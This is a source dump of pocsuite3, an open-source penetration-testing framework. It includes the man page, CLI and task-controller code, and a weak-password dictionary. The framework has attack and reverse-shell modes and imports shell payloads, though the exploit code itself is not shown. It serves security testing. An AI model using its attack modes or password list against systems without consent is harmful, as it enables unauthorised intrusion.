    "content": ".TH POCSUITE \"1\" \"Nov 2022\" \"Manual page for pocsuite\"\n.\\\"\n.\\\" Nov 3, 2022\n.\\\" Man page author:\n.\\\"   13ph03nix <abcnsxyz@gmail.com>\n.\\\"\n.SH NAME\n.I pocsuite3\n\\- open-sourced remote vulnerability testing framework.\n.SH Legal Disclaimer\nUsage of pocsuite3 for attacking targets without prior mutual consent is illegal.\npocsuite3 is for security testing purposes only.\n.SH SYNOPSIS\n.B pocsuite\n\\-h[elp]\n.br\n.B pocsuite\n[options]\n.br\n.SH DESCRIPTION\n.I pocsuite3\nis an open-sourced remote vulnerability testing and proof-of-concept\ndevelopment framework developed by the Knownsec 404 Team. It comes with a\npowerful proof-of-concept engine, many nice features for the ultimate\npenetration testers and security researchers.\n.SH OPTIONS\n.SS \"optional arguments:\"\n.TP\n\\fB\\-h\\fR, \\fB\\-\\-help\\fR\nshow this help message and exit\n.TP\n\\fB\\-\\-version\\fR\nShow program's version number and exit\n.TP\n\\fB\\-\\-update\\fR\nUpdate Pocsuite3\n.TP\n\\fB\\-n\\fR, \\fB\\-\\-new\\fR\nCreate a PoC template\n.TP\n\\fB\\-v\\fR {0,1,2,3,4,5,6}\nVerbosity level: 0\\-6 (default 1)\n.SS \"Target:\"\n.IP\nAt least one of these options has to be provided to define the target(s)\n.TP\n\\fB\\-u\\fR URL [URL ...], \\fB\\-\\-url\\fR URL [URL ...]\nTarget URL/CIDR (e.g. \"http://www.site.com/vuln.php?id=1\")\n.TP\n\\fB\\-f\\fR URL_FILE, \\fB\\-\\-file\\fR URL_FILE\nScan multiple targets given in a textual file (one per line)\n.TP\n\\fB\\-p\\fR PORTS, \\fB\\-\\-ports\\fR PORTS\nadd additional port to each target ([proto:]port, e.g. 8080,https:10000)\n.TP\n\\fB\\-s\\fR\nSkip target's port, only use additional port\n.TP\n\\fB\\-r\\fR POC [POC ...]\nLoad POC file from local or remote from seebug website\n.TP\n\\fB\\-k\\fR POC_KEYWORD\nFilter PoC by keyword, e.g. ecshop\n.TP\n\\fB\\-c\\fR CONFIGFILE\nLoad options from a configuration INI file\n.SS \"Mode:\"\n.IP\nPocsuite running mode options\n.TP\n\\fB\\-\\-verify\\fR\nRun poc with verify mode\n.TP\n\\fB\\-\\-attack\\fR\nRun poc with attack mode\n.TP\n\\fB\\-\\-shell\\fR\nRun poc with shell mode\n.SS \"Request:\"\n.IP\nNetwork request options\n.TP\n\\fB\\-\\-cookie\\fR COOKIE\nHTTP Cookie header value\n.TP\n\\fB\\-\\-host\\fR HOST\nHTTP Host header value\n.TP\n\\fB\\-\\-referer\\fR REFERER\nHTTP Referer header value\n.TP\n\\fB\\-\\-user\\-agent\\fR AGENT\nHTTP User\\-Agent header value (default random)\n.TP\n\\fB\\-\\-proxy\\fR PROXY\nUse a proxy to connect to the target URL (protocol://host:port)\n.TP\n\\fB\\-\\-proxy\\-cred\\fR PROXY_CRED\nProxy authentication credentials (name:password)\n.TP\n\\fB\\-\\-timeout\\fR TIMEOUT\nSeconds to wait before timeout connection (default 10)\n.TP\n\\fB\\-\\-retry\\fR RETRY\nTime out retrials times (default 0)\n.TP\n\\fB\\-\\-delay\\fR DELAY\nDelay between two request of one thread\n.TP\n\\fB\\-\\-headers\\fR HEADERS\nExtra headers (e.g. \"key1: value1\\enkey2: value2\")\n.SS \"Account:\"\n.IP\nAccount options\n.TP\n\\fB\\-\\-ceye\\-token\\fR CEYE_TOKEN\nCEye token\n.TP\n\\fB\\-\\-oob\\-server\\fR OOB_SERVER\nInteractsh server to use (default \"interact.sh\")\n.TP\n\\fB\\-\\-oob\\-token\\fR OOB_TOKEN\nAuthentication token to connect protected interactsh server\n.TP\n\\fB\\-\\-seebug\\-token\\fR SEEBUG_TOKEN\nSeebug token\n.TP\n\\fB\\-\\-zoomeye\\-token\\fR ZOOMEYE_TOKEN\nZoomEye token\n.TP\n\\fB\\-\\-shodan\\-token\\fR SHODAN_TOKEN\nShodan token\n.TP\n\\fB\\-\\-fofa\\-user\\fR FOFA_USER\nfofa user\n.TP\n\\fB\\-\\-fofa\\-token\\fR FOFA_TOKEN\nfofa token\n.TP\n\\fB\\-\\-quake\\-token\\fR QUAKE_TOKEN\nquake token\n.TP\n\\fB\\-\\-hunter\\-token\\fR HUNTER_TOKEN\nhunter token\n.TP\n\\fB\\-\\-censys\\-uid\\fR CENSYS_UID\nCensys uid\n.TP\n\\fB\\-\\-censys\\-secret\\fR CENSYS_SECRET\nCensys secret\n.SS \"Modules:\"\n.IP\nModules options\n.TP\n\\fB\\-\\-dork\\fR DORK\nZoomeye dork used for search\n.TP\n\\fB\\-\\-dork\\-zoomeye\\fR DORK_ZOOMEYE\nZoomeye dork used for search\n.TP\n\\fB\\-\\-dork\\-shodan\\fR DORK_SHODAN\nShodan dork used for search\n.TP\n\\fB\\-\\-dork\\-fofa\\fR DORK_FOFA\nFofa dork used for search\n.TP\n\\fB\\-\\-dork\\-quake\\fR DORK_QUAKE\nQuake dork used for search\n.TP\n\\fB\\-\\-dork\\-hunter\\fR DORK_HUNTER\nHunter dork used for search\n.TP\n\\fB\\-\\-dork\\-censys\\fR DORK_CENSYS\nCensys dork used for search\n.TP\n\\fB\\-\\-max\\-page\\fR MAX_PAGE\nMax page used in search API\n.TP\n\\fB\\-\\-search\\-type\\fR SEARCH_TYPE\nsearch type used in search API, web or host\n.TP\n\\fB\\-\\-vul\\-keyword\\fR VUL_KEYWORD\nSeebug keyword used for search\n.TP\n\\fB\\-\\-ssv\\-id\\fR SSVID\nSeebug SSVID number for target PoC\n.TP\n\\fB\\-\\-lhost\\fR CONNECT_BACK_HOST\nConnect back host for target PoC in shell mode\n.TP\n\\fB\\-\\-lport\\fR CONNECT_BACK_PORT\nConnect back port for target PoC in shell mode\n.TP\n\\fB\\-\\-tls\\fR\nEnable TLS listener in shell mode\n.TP\n\\fB\\-\\-comparison\\fR\nCompare popular web search engines\n.TP\n\\fB\\-\\-dork\\-b64\\fR\nWhether dork is in base64 format\n.SS \"Optimization:\"\n.IP\nOptimization options\n.TP\n\\fB\\-o\\fR OUTPUT_PATH, \\fB\\-\\-output\\fR OUTPUT_PATH\nOutput file to write (JSON Lines format)\n.TP\n\\fB\\-\\-plugins\\fR PLUGINS\nLoad plugins to execute\n.TP\n\\fB\\-\\-pocs\\-path\\fR POCS_PATH\nUser defined poc scripts path\n.TP\n\\fB\\-\\-threads\\fR THREADS\nMax number of concurrent network requests (default 150)\n.TP\n\\fB\\-\\-batch\\fR BATCH\nAutomatically choose defalut choice without asking\n.TP\n\\fB\\-\\-requires\\fR\nCheck install_requires\n.TP\n\\fB\\-\\-quiet\\fR\nActivate quiet mode, working without logger\n.TP\n\\fB\\-\\-ppt\\fR\nHiden sensitive information when published to the\nnetwork\n.TP\n\\fB\\-\\-pcap\\fR\nuse scapy capture flow\n.TP\n\\fB\\-\\-rule\\fR\nexport rules, default export request and response\n.TP\n\\fB\\-\\-rule\\-req\\fR\nonly export request rule\n.TP\n\\fB\\-\\-rule\\-filename\\fR RULE_FILENAME\nSpecify the name of the export rule file\n.TP\n\\fB\\-\\-no\\-check\\fR\nDisable URL protocol correction and honeypot check\n.SS \"Poc options:\"\n.IP\ndefinition options for PoC\n.TP\n\\fB\\-\\-options\\fR\nShow all definition options\n.SH EXAMPLES\n.PP\n.br\nRun poc with verify mode, poc will be only used for vulnerability scanning.\n.PP\n.br\n\\fI% pocsuite -r poc_example.py -u http://example.com/ --verify\\fR\n.PP\n.br\nRun poc with attack mode, and it may allow hackers/researchers break into labs.\n.PP\n.br\n\\fI% pocsuite -r poc_example.py -u http://example.com/ --attack\\fR\n.PP\n.br\nRun poc with shell mode, if executed successfully, pocsuite will drop into interactive shell.\n.PP\n.br\n\\fI% pocsuite -r poc_example.py -u http://example.com/ --shell\\fR\n.PP\n.br\nUsing multiple threads, the default number of threads is 150.\n.PP\n.br\n\\fI% pocsuite -r poc_example.py -u http://example.com/ --verify --threads 20\\fR\n.PP\n.br\nScan multiple targets given in a textual file.\n.PP\n.br\n\\fI% pocsuite -r poc_example.py -f url.txt --verify\\fR\n.PP\n.br\n.SH \"SEE ALSO\"\nThe full documentation for\n.B pocsuite3\nis maintained at:\n.br\n.I https://pocsuite.org\n.PP\n.SH VERSION\nThis manual page documents pocsuite3 version 2.0.5\n.SH AUTHOR\n.br\n(c) 2014-present by Knownsec 404 Team\n.br\n<404-team@knownsec.com>\n.LP\nThis program is free software; you may redistribute and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation; Version 2 with the clarifications and\nexceptions described below. This guarantees your right to use, modify, and\nredistribute this software under certain conditions. If you wish to embed\npocsuite3 technology into proprietary software, we sell alternative licenses\n(contact 404-team@knownsec.com).\n.PP\nManual page started by 13ph03nix\n<abcnsxyz@gmail.com>\n.PP\n\n"
  },
  {
    "path": "pocsuite3/__init__.py",
    "content": "__title__ = 'pocsuite3'\n__version__ = '2.1.0'\n__author__ = 'Knownsec 404 Team'\n__author_email__ = '404-team@knownsec.com'\n__license__ = 'GPLv2'\n__copyright__ = 'Copyright 2014-present Knownsec 404 Team'\n__name__ = 'pocsuite3'\n__package__ = 'pocsuite3'\n\nfrom .lib.core.common import set_paths\nfrom .cli import module_path\n\n\nset_paths(module_path())\n"
  },
  {
    "path": "pocsuite3/api/__init__.py",
    "content": "import base64\nimport binascii\nimport collections\nimport json\nimport os\nimport re\nimport socket\nimport ssl\nimport struct\nimport textwrap\nimport time\nimport urllib\nimport zlib\n\nfrom pocsuite3.lib.controller.controller import start\nfrom pocsuite3.lib.core.common import (OrderedDict, OrderedSet, check_port,\n                                       encoder_bash_payload,\n                                       encoder_powershell_payload, get_host_ip,\n                                       get_host_ipv6, mosaic,\n                                       single_time_warn_message, urlparse)\nfrom pocsuite3.lib.core.data import conf, kb, logger, paths\nfrom pocsuite3.lib.core.datatype import AttribDict\nfrom pocsuite3.lib.core.enums import PLUGIN_TYPE, POC_CATEGORY, VUL_TYPE\nfrom pocsuite3.lib.core.interpreter_option import (OptBool, OptDict, OptFloat,\n                                                   OptInteger, OptIP, OptItems,\n                                                   OptPort, OptString)\nfrom pocsuite3.lib.core.option import init, init_options\nfrom pocsuite3.lib.core.plugin import PluginBase, register_plugin\nfrom pocsuite3.lib.core.poc import Output, POCBase\nfrom pocsuite3.lib.core.register import (load_file_to_module,\n                                         load_string_to_module, register_poc)\nfrom pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.utils import (generate_shellcode_list, get_middle_text,\n                                 minimum_version_required, random_str)\nfrom pocsuite3.lib.yaml.nuclei import Nuclei\nfrom pocsuite3.modules.censys import Censys\nfrom pocsuite3.modules.ceye import CEye\nfrom pocsuite3.modules.fofa import Fofa\nfrom pocsuite3.modules.httpserver import PHTTPServer\nfrom pocsuite3.modules.hunter import Hunter\nfrom pocsuite3.modules.interactsh import Interactsh\nfrom pocsuite3.modules.listener import (BIND_PAYLOAD, REVERSE_PAYLOAD,\n                                        bind_shell, bind_tcp_shell,\n                                        bind_telnet_shell)\nfrom pocsuite3.modules.quake import Quake\nfrom pocsuite3.modules.seebug import Seebug\nfrom pocsuite3.modules.shodan import Shodan\nfrom pocsuite3.modules.spider import crawl\nfrom pocsuite3.modules.zoomeye import ZoomEye\nfrom pocsuite3.shellcodes import OSShellcodes, WebShell\n\n\ndef get_listener_ip():\n    return conf.connect_back_host\n\n\ndef get_listener_port():\n    return conf.connect_back_port\n\n\ndef get_current_poc_obj():\n    pass\n\n\ndef get_poc_options(poc_obj=None):\n    poc_obj = poc_obj or kb.current_poc\n    return poc_obj.get_options()\n\n\ndef get_results():\n    return kb.results\n\n\ndef init_pocsuite(options={}):\n    init_options(options)\n    init()\n\n\ndef start_pocsuite():\n    start()\n"
  },
  {
    "path": "pocsuite3/cli.py",
    "content": "import os\nimport sys\nimport threading\nimport time\nimport traceback\n\ntry:\n    import pocsuite3\nexcept ImportError:\n    sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\n\nfrom pocsuite3.lib.core.option import init\nfrom pocsuite3.lib.core.option import init_options\nfrom pocsuite3.lib.core.exception import PocsuiteUserQuitException, PocsuiteSystemException\nfrom pocsuite3.lib.core.exception import PocsuiteShellQuitException\nfrom pocsuite3.lib.core.common import set_paths\nfrom pocsuite3.lib.core.common import banner\nfrom pocsuite3.lib.core.common import data_to_stdout\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.parse.cmd import cmd_line_parser\nfrom pocsuite3.lib.controller.controller import start\n\n\ndef module_path():\n    \"\"\"\n    This will get us the program's directory\n    \"\"\"\n    return os.path.dirname(os.path.realpath(__file__))\n\n\ndef check_environment():\n    try:\n        os.path.isdir(module_path())\n    except Exception:\n        err_msg = \"your system does not properly handle non-ASCII paths. \"\n        err_msg += \"Please move the pocsuite's directory to the other location\"\n        logger.critical(err_msg)\n        raise SystemExit\n\n\ndef main():\n    \"\"\"\n    @function Main function of pocsuite when running from command line.\n    \"\"\"\n    try:\n        check_environment()\n        set_paths(module_path())\n        banner()\n\n        init_options(cmd_line_parser().__dict__)\n\n        data_to_stdout(\"[*] starting at {0}\\n\\n\".format(time.strftime(\"%X\")))\n        init()\n        try:\n            start()\n        except threading.ThreadError:\n            raise\n\n    except PocsuiteUserQuitException:\n        pass\n\n    except PocsuiteShellQuitException:\n        pass\n\n    except PocsuiteSystemException:\n        pass\n\n    except KeyboardInterrupt:\n        pass\n\n    except EOFError:\n        pass\n\n    except SystemExit:\n        pass\n\n    except Exception:\n        exc_msg = traceback.format_exc()\n        data_to_stdout(exc_msg)\n        raise SystemExit\n\n    finally:\n        data_to_stdout(\"\\n[*] shutting down at {0}\\n\\n\".format(time.strftime(\"%X\")))\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "pocsuite3/console.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time    : 2018/12/25 morning 10:49\n# @Author  : chenghs\n# @File    : console.py\nimport os\nimport sys\n\ntry:\n    import pocsuite3\nexcept ImportError:\n    sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\nfrom pocsuite3.cli import check_environment, module_path\nfrom pocsuite3 import set_paths\nfrom pocsuite3.lib.core.interpreter import PocsuiteInterpreter\nfrom pocsuite3.lib.core.option import init_options\n\n\ndef main():\n    check_environment()\n    set_paths(module_path())\n    init_options()\n    poc = PocsuiteInterpreter()\n    poc.start()\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "pocsuite3/data/password-top100.txt",
    "content": "admin\nadmin12\nadmin888\nadmin8\nadmin123\nsysadmin\nadminxxx\nadminx\n6kadmin\nbase\nfeitium\nadmins\nroot\nroots\ntest\ntest1\ntest123\ntest2\npassword\naaaAAA111\n888888\n88888888\n000000\n00000000\n111111\n11111111\naaaaaa\naaaaaaaa\n135246\n135246789\n123456\n654321\n12345\n54321\n123456789\n1234567890\n0\n123qwe\n123qweasd\nqweasd\n123asd\nqwezxc\nqazxsw\nqazwsx\nqazwsxedc\n1qaz2wsx\nzxcvbn\nasdfgh\nqwerty\nqazxdr\nqwaszx\n111111\n123123\n123321\nabcdef\nabcdefg\n!@#$%^\n!@#$%\n~!@#$%\n%$#@!\n^%$#@~!\n88888\n55555\naaaaa\nasd123\nqweasdzxc\nzxcvb\nasdfg\nqwert\n1\n2\n3\n4\n5\nqwe\nqwer\nwelcome\n!@#123\n111\n12\n123\n123!@#\n123654\n123654789\n123654789!\n123go\n1314520\n133135136\n13572468\n19880118\n1992724\n20080808\n3452510\n360\n360sb\n376186027\n3est\n45189946\n4816535\n4lert"
  },
  {
    "path": "pocsuite3/lib/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/controller/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/controller/controller.py",
    "content": "import copy\nimport time\n\nimport requests\nfrom prettytable import PrettyTable\nfrom pocsuite3.lib.core.common import data_to_stdout, mosaic\nfrom pocsuite3.lib.core.data import conf, cmd_line_options\nfrom pocsuite3.lib.core.data import kb\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.datatype import AttribDict\nfrom pocsuite3.lib.core.exception import PocsuiteValidationException, PocsuiteSystemException\nfrom pocsuite3.lib.core.poc import Output\nfrom pocsuite3.lib.core.settings import CMD_PARSE_WHITELIST\nfrom pocsuite3.lib.core.threads import run_threads\nfrom pocsuite3.lib.utils import urlparse\nfrom pocsuite3.modules.listener import handle_listener_connection\nfrom pocsuite3.modules.listener.reverse_tcp import handle_listener_connection_for_console\n\n\ndef runtime_check():\n    if not kb.registered_pocs:\n        msg = \"No poc specified, try 'pocsuite -h' or 'pocsuite --help' for more information\"\n        logger.warn(msg)\n        raise PocsuiteSystemException(msg)\n\n\ndef start():\n    runtime_check()\n    tasks_count = kb.task_queue.qsize()\n    info_msg = \"pocsusite got a total of {0} tasks\".format(tasks_count)\n    logger.info(info_msg)\n    conf.threads = min(conf.threads, tasks_count)\n    logger.debug(\"pocsuite will open {} threads\".format(conf.threads))\n\n    try:\n        run_threads(conf.threads, task_run)\n        logger.info(\"Scan completed,ready to print\")\n    finally:\n        task_done()\n\n    if conf.mode == \"shell\" and not conf.api:\n        info_msg = \"connect back ip: {0}    port: {1}\".format(mosaic(conf.connect_back_host), conf.connect_back_port)\n        logger.info(info_msg)\n        info_msg = \"watting for shell connect to pocsuite\"\n        logger.info(info_msg)\n        if conf.console_mode:\n            handle_listener_connection_for_console()\n        else:\n            handle_listener_connection()\n\n\ndef show_task_result():\n    if conf.quiet:\n        return\n\n    if not kb.results:\n        return\n\n    if conf.mode == \"shell\":\n        return\n\n    fields = [\"target-url\", \"poc-name\", \"poc-id\", \"component\", \"version\", \"status\"]\n    if kb.comparison:\n        fields.append(\"source\")\n        fields.append(\"honey-pot\")\n    results_table = PrettyTable(fields)\n    results_table.align[\"target-url\"] = \"l\"\n    results_table.padding_width = 1\n\n    total_num, success_num = 0, 0\n    for row in kb.results:\n        data = [\n            row.target,\n            row.poc_name,\n            row.vul_id,\n            row.app_name,\n            row.app_version,\n            row.status,\n        ]\n        if kb.comparison:\n            source, honey = kb.comparison.getinfo(row.target)\n            data.append(source)\n            data.append(honey)\n        results_table.add_row(data)\n        total_num += 1\n        if row.status == 'success':\n            success_num += 1\n\n    data_to_stdout('\\n{0}'.format(results_table.get_string(sortby=\"status\", reversesort=False)))\n    data_to_stdout(\"\\nsuccess : {} / {}\\n\".format(success_num, total_num))\n\n\ndef check_docker_status(target):\n    if conf.docker_start:\n        info_msg = \"wait for docker...\"\n        logger.info(info_msg)\n        while True:\n            try:\n                resp = requests.get(target)\n                if resp.status_code:\n                    break\n            except Exception:\n                pass\n\n\ndef task_run():\n    while not kb.task_queue.empty() and kb.thread_continue:\n        target, poc_module = kb.task_queue.get()\n        if not conf.console_mode:\n            poc_module = copy.deepcopy(kb.registered_pocs[poc_module])\n        poc_name = poc_module.name\n        # check container status\n        check_docker_status(target)\n\n        if conf.pcap:\n            # start capture flow\n            import os\n            import logging\n\n            os.environ[\"MPLBACKEND\"] = \"Agg\"\n            logging.getLogger(\"scapy\").setLevel(logging.ERROR)\n\n            from pocsuite3.lib.utils.pcap_sniffer import Sniffer\n            from scapy.utils import wrpcap\n            sniffer = Sniffer(urlparse(target).hostname)\n            if sniffer.use_pcap:\n                if not sniffer.is_admin:\n                    logger.warn(\n                        \"Please use administrator privileges, and the poc will continue to execute \"\n                        \"without fetching the packet\")\n                    conf.pcap = False\n                else:\n                    sniffer.start()\n                    # let scapy start for a while\n                    time.sleep(1)\n            else:\n                logger.warn(\"No libpcap is detected, and the poc will continue to execute without fetching the packet\")\n                conf.pcap = False\n        info_msg = \"running poc:'{0}' target '{1}'\".format(\n            poc_name,\n            mosaic(target)\n        )\n\n        if len(kb.targets) > 1:\n            info_msg += \", {0} tasks waiting to be executed.\".format(kb.task_queue.qsize())\n\n        logger.info(info_msg)\n\n        # hand user define parameters\n        if hasattr(poc_module, \"_options\"):\n            for item in kb.cmd_line:\n                value = cmd_line_options.get(item, \"\")\n                if item in poc_module.options:\n                    poc_module.set_option(item, value)\n                    info_msg = \"Parameter {0} => {1}\".format(item, value)\n                    logger.info(info_msg)\n            # check must be option\n            for opt, v in poc_module.options.items():\n                # check conflict in whitelist\n                if opt in CMD_PARSE_WHITELIST:\n                    info_msg = (\n                        \"Poc:'{0}' You can't customize this variable '{1}' because it is already taken up \"\n                        \"by the pocsuite.\").format(poc_name, opt)\n                    logger.error(info_msg)\n                    raise SystemExit\n\n                if v.require and v.value == \"\":\n                    info_msg = \"Poc:'{poc}' Option '{key}' must be set, please add parameters '--{key}'\".format(\n                        poc=poc_name, key=opt)\n                    logger.error(info_msg)\n                    raise SystemExit\n\n        try:\n            result = poc_module.execute(target, headers=conf.http_headers, mode=conf.mode, verbose=False)\n        except PocsuiteValidationException as ex:\n            info_msg = \"Poc:'{}' PocsuiteValidationException:{}\".format(poc_name, ex)\n            logger.error(info_msg)\n            result = None\n\n        if not isinstance(result, Output) and not None:\n            _result = Output(poc_module)\n            if result:\n                if isinstance(result, bool):\n                    _result.success({})\n                elif isinstance(result, str):\n                    _result.success({\"Info\": result})\n                elif isinstance(result, dict):\n                    _result.success(result)\n                else:\n                    _result.success({\"Info\": repr(result)})\n            else:\n                _result.fail('target is not vulnerable')\n\n            result = _result\n\n        if not result:\n            continue\n\n        if not conf.quiet:\n            result.show_result()\n\n        result_status = \"success\" if result.is_success() else \"failed\"\n        if result_status == \"success\" and kb.comparison:\n            kb.comparison.change_success(target, True)\n\n        output = AttribDict(result.to_dict())\n\n        output.update({\n            'target': mosaic(target),\n            'poc_name': poc_name,\n            'created': time.strftime(\"%Y-%m-%d %X\", time.localtime()),\n            'status': result_status\n        })\n        result_plugins_handle(output)\n        kb.results.append(output)\n        if conf.pcap:\n            sniffer.join(20)\n            if not sniffer.is_alive():\n                filename = urlparse(target).hostname + time.strftime('_%Y_%m_%d_%H%M%S.pcap')\n                logger.info(f\"pcap data has been saved in: {mosaic(filename)}\")\n                wrpcap(filename, sniffer.pcap.results)\n            else:\n                logger.error(\"Thread terminates timeout. Failed to save pcap\")\n\n        # TODO\n        # set task delay\n\n\ndef result_plugins_start():\n    \"\"\"\n    run result plugins, such as html report\n    :return:\n    \"\"\"\n    for _, plugin in kb.plugins.results.items():\n        plugin.start()\n\n\ndef result_plugins_handle(output):\n    \"\"\"\n    run result plugins when execute poc\n    :return:\n    \"\"\"\n    for _, plugin in kb.plugins.results.items():\n        plugin.handle(output)\n\n\ndef result_compare_handle():\n    \"\"\"\n    show comparing data from various of search engine\n    :return:\n    \"\"\"\n    if not kb.comparison:\n        return\n    kb.comparison.output()\n\n\ndef task_done():\n    show_task_result()\n    result_plugins_start()\n    result_compare_handle()\n"
  },
  {
    "path": "pocsuite3/lib/core/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/core/clear.py",
    "content": "import logging\n\n\ndef remove_extra_log_message():\n    logger_names = [\n        \"paramiko\",\n        \"paramiko.transport\",\n        \"websockets\",\n\n    ]\n\n    for logger_name in logger_names:\n        try:\n            logging.getLogger(logger_name).disabled = True\n        except Exception:\n            pass\n"
  },
  {
    "path": "pocsuite3/lib/core/common.py",
    "content": "# pylint: disable=E1101\nimport base64\nimport hashlib\nimport inspect\nimport logging\nimport os\nimport re\nimport select\nimport shlex\nimport socket\nimport struct\nimport subprocess\nimport sys\nimport time\nimport collections\nimport chardet\nimport requests\nimport urllib\nfrom collections import OrderedDict\nfrom functools import wraps\nfrom ipaddress import ip_address, ip_network\nfrom platform import machine\nfrom subprocess import call, Popen, PIPE\nfrom colorama.initialise import init as coloramainit\nfrom termcolor import colored\nfrom pocsuite3.lib.core.convert import stdout_encode\nfrom pocsuite3.lib.core.data import conf\nfrom pocsuite3.lib.core.data import kb\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.data import paths\nfrom pocsuite3.lib.core.decorators import cachedmethod\nfrom pocsuite3.lib.core.enums import OS_ARCH, OS\nfrom pocsuite3.lib.core.exception import PocsuiteSystemException\nfrom pocsuite3.lib.core.log import LOGGER_HANDLER\nfrom pocsuite3.lib.core.settings import (\n    BANNER, BOLD_PATTERNS, IS_WIN, URL_DOMAIN_REGEX, LOCAL_IP_ADDRESS_REGEX,\n    IP_ADDRESS_WITH_PORT_REGEX, IPV6_URL_REGEX, TIMESTAMP, OS_SYSTEM)\nfrom pocsuite3.lib.core.settings import IPV6_ADDRESS_REGEX\nfrom pocsuite3.lib.core.settings import IP_ADDRESS_REGEX\nfrom pocsuite3.lib.core.settings import OLD_VERSION_CHARACTER\nfrom pocsuite3.lib.core.settings import POCSUITE_VERSION_CHARACTER\nfrom pocsuite3.lib.core.settings import POC_REQUIRES_REGEX\nfrom pocsuite3.lib.core.settings import UNICODE_ENCODING\nfrom pocsuite3.lib.core.settings import URL_ADDRESS_REGEX\n\n\ntry:\n    collectionsAbc = collections.abc\nexcept AttributeError:\n    collectionsAbc = collections\n\n\ndef urlparse(address):\n    # https://stackoverflow.com/questions/50499273/urlparse-fails-with-simple-url\n    try:\n        ip = ip_address(address)\n        if ip.version == 4:\n            return urllib.parse.urlparse(f'tcp://{address}')\n        elif ip.version == 6:\n            return urllib.parse.urlparse(f'tcp://[{address}]')\n    except ValueError:\n        pass\n\n    if not re.search(r'^[A-Za-z0-9+.\\-]+://', address):\n        address = f'tcp://{address}'\n    return urllib.parse.urlparse(address)\n\n\ndef read_binary(filename):\n    content = ''\n    with open(filename, 'rb') as f:\n        content = f.read()\n    return content\n\n\ndef check_path(path):\n    return True if path and os.path.exists(path) else False\n\n\ndef check_file(filename):\n    \"\"\"\n    @function Checks for file existence and readability\n    \"\"\"\n\n    valid = True\n\n    if filename is None or not os.path.isfile(filename):\n        valid = False\n\n    if valid:\n        try:\n            with open(filename, \"rb\"):\n                pass\n        except Exception:\n            valid = False\n\n    if not valid:\n        raise PocsuiteSystemException(\"unable to read file '%s'\" % filename)\n    return valid\n\n\ndef set_paths(root_path):\n    \"\"\"\n    Sets absolute paths for project directories and files\n    \"\"\"\n    paths.POCSUITE_ROOT_PATH = root_path\n    paths.POCSUITE_DATA_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, \"data\")\n    paths.POCSUITE_PLUGINS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, \"plugins\")\n    paths.POCSUITE_POCS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, \"pocs\")\n    paths.USER_POCS_PATH = None\n\n    paths.WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, \"password-top100.txt\")\n\n    paths.POCSUITE_HOME_PATH = os.path.expanduser(\"~\")\n    _ = os.path.join(paths.POCSUITE_HOME_PATH, \".pocsuite\")\n\n    paths.API_SHELL_HISTORY = os.path.join(_, \"api.hst\")\n    paths.OS_SHELL_HISTORY = os.path.join(_, \"os.hst\")\n    paths.SQL_SHELL_HISTORY = os.path.join(_, \"sql.hst\")\n    paths.POCSUITE_SHELL_HISTORY = os.path.join(_, \"pocsuite.hst\")\n    paths.POCSUITE_CONSOLE_HISTORY = os.path.join(_, \"console.hst\")\n\n    paths.POCSUITE_TMP_PATH = os.path.join(_, \"tmp\")\n    paths.POCSUITE_RC_PATH = os.path.join(paths.POCSUITE_HOME_PATH, \".pocsuiterc\")\n    paths.POCSUITE_OUTPUT_PATH = paths.get(\"POCSUITE_OUTPUT_PATH\", os.path.join(_, \"output\"))\n    paths.SHELLCODES_DEV_PATH = os.path.join(paths.POCSUITE_TMP_PATH, \"tools\")\n\n\ndef banner():\n    \"\"\"\n    Function prints pocsuite banner with its version\n    \"\"\"\n    _ = BANNER\n    # if not getattr(LOGGER_HANDLER, \"is_tty\", False):\n    #     _ = clear_colors(_)\n    if IS_WIN:\n        coloramainit()\n\n    data_to_stdout(_)\n\n\ndef set_color(message, bold=False):\n    if isinstance(message, bytes):\n        message = message.decode(UNICODE_ENCODING)\n    ret = message\n\n    if message and getattr(LOGGER_HANDLER, \"is_tty\", False):  # colorizing handler\n        if bold:\n            ret = colored(message, color=None, on_color=None, attrs=(\"bold\",))\n\n    return ret\n\n\ndef clear_colors(message):\n    ret = message\n    if message:\n        ret = re.sub(r\"\\x1b\\[[\\d;]+m\", \"\", message)\n    return ret\n\n\ndef boldify_message(message):\n    ret = message\n    if any(_ in message for _ in BOLD_PATTERNS):\n        ret = set_color(message, bold=True)\n\n    return ret\n\n\ndef data_to_stdout(data, bold=False):\n    \"\"\"\n    Writes text to the stdout (console) stream\n    \"\"\"\n    if not conf.get('quiet', False):\n        message = \"\"\n\n        if isinstance(data, str):\n            message = stdout_encode(data)\n        else:\n            message = data\n\n        sys.stdout.write(set_color(message, bold))\n\n        try:\n            sys.stdout.flush()\n        except IOError:\n            pass\n    return\n\n\n@cachedmethod\ndef extract_regex_result(regex, content, flags=0):\n    \"\"\"\n    Returns 'result' group value from a possible match with regex on a given\n    content\n    >>> extract_regex_result(r'a(?P<result>[^g]+)g', 'abcdefg')\n    'bcdef'\n    \"\"\"\n\n    ret = None\n\n    if regex and content and \"?P<result>\" in regex:\n        match = re.search(regex, content, flags)\n\n        if match:\n            ret = match.group(\"result\")\n\n    return ret\n\n\ndef get_latest_revision():\n    \"\"\"\n    Retrieves latest revision from the offical repository\n    \"\"\"\n\n    ret = None\n    resp = requests.get(url=\"https://raw.githubusercontent.com/knownsec/pocsuite3/master/pocsuite3/__init__.py\")\n    try:\n        content = resp.content\n        ret = extract_regex_result(r\"__version__\\s*=\\s*[\\\"'](?P<result>[\\d.]+)\", content)\n    except Exception:\n        pass\n\n    return 